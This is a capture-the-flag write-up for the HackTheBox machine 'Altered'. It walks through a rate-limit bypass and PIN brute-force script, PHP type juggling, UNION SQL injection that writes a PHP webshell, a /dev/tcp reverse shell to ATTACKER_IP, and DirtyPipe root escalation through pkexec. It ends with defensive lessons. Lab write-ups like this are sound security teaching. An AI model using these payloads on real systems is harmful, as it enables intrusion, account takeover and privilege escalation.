HTB: Altered Writeup

Altered - HackTheBox Writeup

Machine Information

AttributeDetails
NameAltered
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.227.109
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Altered is a Laravel-based web application box where every step chains into the next through a subtle logic flaw rather than a single obvious exploit. The front door is a password-reset flow whose 4-digit PIN would normally be protected by Laravel’s rate limiter, but nginx’s trust of X-Forwarded-For lets that limiter be thrown at a different “client” on every request. Once inside as admin, a profile API meant to be gated by a shared secret falls to PHP type juggling, and the same endpoint turns out to be SQL-injectable, giving arbitrary file read/write and, from there, a webshell. Root is a stock kernel exploit against an outdated Ubuntu kernel.

TL;DR: Username enum (admin) → XFF-rotation defeats Laravel rate limiting on /api/resettoken → PIN brute-forced within one session → account takeover via /changepw → PHP type-juggling bypass on getprofile (secret: true vs string) → 3-column UNION SQLi in idLOAD_FILE leaks nginx config/webroot → INTO OUTFILE PHP webshell → shell as www-data → user.txt → kernel 5.16.0 vulnerable to CVE-2022-0847 (DirtyPipe) → root shell via pkexec → root.txt.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.129.227.109

Results:

PortServiceVersion
22/tcpSSHOpenSSH
80/tcpHTTPnginx, fronting a Laravel app titled “UHC March Finals”

Service Enumeration

The HTTP service on port 80 is a Laravel application (confirmed by the laravel_session / XSRF-TOKEN cookies) presenting a login page for a tournament-style site (“UHC March Finals”).

  • Username enumeration — the login endpoint returns a different error for a nonexistent user vs. an existing one with a wrong password. Testing admin returned the “wrong password” branch, confirming it as a valid account.
  • Password reset flow/reset accepts a username and, for a valid account, emails (simulated) a 4-digit numeric PIN. The PIN is bound to the current Laravel session and is regenerated every time /reset is submitted, which matters a lot for the next step.

Vulnerability Assessment

  1. Laravel’s default rate limiting on /api/resettoken keys off the request’s perceived source IP — and nginx is configured to trust X-Forwarded-For, letting an attacker present a different “client” on every request and dodge the throttle entirely.
  2. The reset PIN is only 4 digits (10,000 possibilities) — trivially brute-forceable once rate limiting is defeated.
  3. A profile API (getprofile) gates access to another user’s data behind a “secret” value that is checked with PHP’s loose == comparison — vulnerable to type juggling.
  4. The same id parameter on that API is concatenated into a SQL query — no parameterization, enabling UNION-based SQL injection.
  5. The MySQL account backing the app (uhc) holds the FILE privilege, turning the SQLi into arbitrary file read/write on disk.
  6. The kernel is an old 5.16.0 build, vulnerable to a well-known local privilege escalation.

Initial Foothold

Rate-Limit Bypass and PIN Brute Force

nginx sits in front of Laravel as a reverse proxy. Laravel’s ThrottleRequests middleware identifies a “client” by Request::ip(), which by default trusts the X-Forwarded-For header when the app is behind a configured proxy. Sending a different X-Forwarded-For value on every request makes Laravel treat each attempt as coming from a brand-new, never-before-seen IP, so the per-IP request counter never accumulates and the 429 responses never trigger.

The PIN is also re-rolled on every /reset call, so the whole brute force has to happen against a single PIN, in a single Laravel session, without re-hitting /reset mid-attack:

Terminal window
# 1. Establish one session and trigger exactly one PIN generation
curl -s -c cookies.txt -b cookies.txt \
-d "name=admin" http://10.129.227.109/reset
# 2. Brute the 4-digit space (0000-9999) against /api/resettoken,
# rotating X-Forwarded-For per request so nginx/Laravel never
# accumulate enough hits from one "IP" to trip the limiter,
# all reusing the SAME session cookies from step 1
import itertools
import requests
from concurrent.futures import ThreadPoolExecutor
SESSION_COOKIES = {"laravel_session": "...", "XSRF-TOKEN": "..."} # from the /reset session
URL = "http://10.129.227.109/api/resettoken"
def try_pin(pin):
xff = f"127.0.0.{pin % 254 + 1}" # rotate the "client" nginx/Laravel sees
r = requests.post(
URL,
data={"name": "admin", "pin": f"{pin:04d}"},
cookies=SESSION_COOKIES,
headers={"X-Forwarded-For": xff},
)
return pin, len(r.content)
# 30 concurrent workers against the full 0000-9999 keyspace
with ThreadPoolExecutor(max_workers=30) as pool:
results = list(pool.map(try_pin, range(10000)))
# The correct PIN's response body is a different size than every
# incorrect guess (5372 bytes vs. 5650 bytes for a rejection) —
# a classic content-length side channel for a boolean-ish response
winner = min(results, key=lambda r: r[1])
print(winner)

The differing response size (5372 vs. 5650 characters) is the tell: a correct PIN moves the app past the “invalid PIN” branch into the reset-form response, which renders a different page. With the winning PIN in hand and still inside the same session:

Terminal window
# Submit the discovered PIN to unlock the password-reset form,
# then set a new password for admin
curl -s -b cookies.txt -d "pin=<found_pin>" http://10.129.227.109/api/resettoken
curl -s -b cookies.txt -d "password=NewPassword123!" http://10.129.227.109/changepw

Logging in as admin with the new password lands on a dashboard listing tournament players with “view profile” links.

Type Juggling: Bypassing the Profile Secret

The dashboard’s getBio() call hits GET /api/getprofile?id=<n>&secret=<value>. The secret is the same static value for every request, which already smells like a broken authorization check rather than a per-user token. Sending it as JSON with secret typed as the boolean true instead of the expected string flips PHP’s == comparison in the attacker’s favor:

Terminal window
# Loose (==) comparison in PHP: true == "any-non-empty-string" is TRUE,
# so a boolean bypasses a check that expects the real secret string
curl -s -X POST http://10.129.227.109/api/getprofile \
-H "Content-Type: application/json" \
-b cookies.txt \
-d '{"id":4,"secret":true}'

This is PHP’s classic type-juggling trap: == performs type coercion before comparing, so a boolean, 0, or certain “magic” strings can equal values they have no business equaling. The check $secret == $realSecret becomes trivially bypassable once an attacker controls the JSON body’s types instead of being confined to URL query strings.

SQL Injection via the id Parameter

With the secret check bypassed, the id parameter itself turned out to be concatenated straight into the backing SQL query. A 3-column UNION confirmed the injection:

-- id parameter, sent as JSON: {"id": "<payload>", "secret": true}
100 UNION SELECT 1,2,3-- -

Enumerating the backend confirmed MySQL 8.0.28, running as the uhc database user — critically, one holding the FILE privilege:

-- Confirm current user and privileges
100 UNION SELECT 1,2,concat(current_user(),':',@@secure_file_priv)-- -

FILE privilege plus SQLi is a direct path to arbitrary file read on the host:

-- Read the nginx site config to find the real webroot on disk
100 UNION SELECT 1,2,load_file('/etc/nginx/sites-enabled/default')-- -

The config revealed the webroot as /srv/altered/public — everything needed to escalate a read primitive into code execution.

From File Write to Shell

INTO OUTFILE writes the query result to disk. Pointed at the webroot, it drops a file the webserver will happily execute:

-- Write a PHP webshell directly into the public webroot
100 UNION SELECT 1,2,'<?php system($_GET["cmd"]); ?>'
INTO OUTFILE '/srv/altered/public/shell.php'-- -
Terminal window
# Trigger it for a reverse shell (ATTACKER_IP is the box's VPN-facing address)
curl -s "http://10.129.227.109/shell.php" \
--data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' -G
# Catch it
nc -lvnp 4444
Terminal window
www-data@altered:/srv/altered/public$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@altered:/srv/altered/public$ cat /home/*/user.txt
<redacted>

Privilege Escalation

Kernel Enumeration

Terminal window
www-data@altered:/$ uname -a
Linux altered 5.16.0-... x86_64 x86_64 x86_64 GNU/Linux

Kernel 5.16.0 is squarely in the vulnerable range for CVE-2022-0847 (“DirtyPipe”) — a Linux kernel flaw in how the pipe buffer merges pages, letting an unprivileged process overwrite the contents of files it only has read access to, including files it doesn’t own. Unlike Dirty COW, DirtyPipe requires no race window: a crafted pipe can splice attacker-controlled data straight into a page cache backing a read-only file, corrupting it in place.

Exploiting DirtyPipe

Terminal window
# Compile the DirtyPipe PoC (exploit-2.c) on the jump host, statically where possible
gcc exploit-2.c -o exploit -static
# Serve it over the VPN-connected jump host to the target
python3 -m http.server 4000
Terminal window
# Pull and run it on the target against a SUID binary — pkexec is
# the common target since it's setuid-root and present by default
www-data@altered:/tmp$ wget http://<jump-host>:4000/exploit -O exploit
www-data@altered:/tmp$ chmod +x exploit
www-data@altered:/tmp$ ./exploit /usr/bin/pkexec
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

DirtyPipe works here by overwriting the in-memory page cache of /usr/bin/pkexec with a crafted payload that briefly makes it spawn a root shell (/tmp/sh) before the original binary’s contents are restored — no on-disk file is ever permanently modified, which is exactly why it evades most simple integrity checks.

Terminal window
# id
uid=0(root) gid=0(root)
# cat /root/root.txt
<redacted>

Attack Chain Summary

Username enum (admin)
→ nginx trusts X-Forwarded-For → Laravel rate limiter bypassed on /api/resettoken
→ 4-digit PIN brute-forced within a single Laravel session
→ /changepw account takeover as admin
→ getprofile secret check bypassed via PHP type juggling ("secret": true)
→ 3-column UNION SQL injection in `id` (MySQL 8.0.28, uhc user, FILE priv)
→ LOAD_FILE leaks nginx config → webroot /srv/altered/public
→ INTO OUTFILE writes PHP webshell → shell as www-data → user.txt
→ kernel 5.16.0 vulnerable to CVE-2022-0847 (DirtyPipe)
→ pkexec hijacked via DirtyPipe → root shell → root.txt

Tools Used

ToolPurpose
nmapPort scanning and service/version detection
curlManual HTTP requests to reset/login/API endpoints
Python (requests, ThreadPoolExecutor)Multi-threaded PIN brute force with rotating X-Forwarded-For
Burp Suite (proxy/Repeater)Inspecting Laravel cookies, crafting the JSON type-juggling payload
MySQL UNION-based SQLi (manual)Database enumeration, LOAD_FILE, INTO OUTFILE
gccCompiling the DirtyPipe (CVE-2022-0847) PoC
nc / python3 -m http.serverReverse shell listener and exploit delivery

Key Learnings

Techniques Practiced

  • Username enumeration via differential error messages
  • Defeating framework-level rate limiting through proxy-trusted X-Forwarded-For spoofing
  • Session-scoped credential brute forcing where the target value regenerates on re-trigger
  • PHP loose-comparison (==) type-juggling bypass of a “secret” authorization check
  • UNION-based blind/error SQL injection escalated to file read/write via FILE privilege
  • Turning arbitrary file write in a webroot into RCE via a dropped PHP webshell
  • Linux kernel privilege escalation via CVE-2022-0847 (DirtyPipe) against a SUID binary

Lessons Learned

  1. Never trust X-Forwarded-For for rate limiting or IP-based trust decisions unless the proxy is configured to only forward it from a known, trusted upstream — otherwise every anti-abuse control keyed on “client IP” is trivially bypassable.
  2. Secrets that never change per-request aren’t secrets — a static “secret” parameter returned to the client and later replayed back is an authorization check in name only.
  3. PHP == is not a safe equality check for security-sensitive comparisons — always use === (or hash_equals() for secret comparisons) to avoid type-juggling bypasses.
  4. FILE privilege on an application’s database account is effectively a code-execution primitive the moment SQL injection exists — it should be revoked from any app-facing DB user that doesn’t explicitly need it.
  5. Stale kernels remain one of the highest-value root paths on otherwise well-secured boxes; DirtyPipe (CVE-2022-0847) affected a wide swath of 5.8–5.16 kernels and is a near-universal check on any Linux foothold from that era.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Altered - Official HackTheBox Writeup — Document No. D25.100.324, prepared by k1ph4ru, machine authored by IppSec. Used only to confirm the rate-limit bypass mechanism (nginx X-Forwarded-For trust) and the CVE-2022-0847 (DirtyPipe) identification; all IPs, commands, and output shown above are from this author’s own run.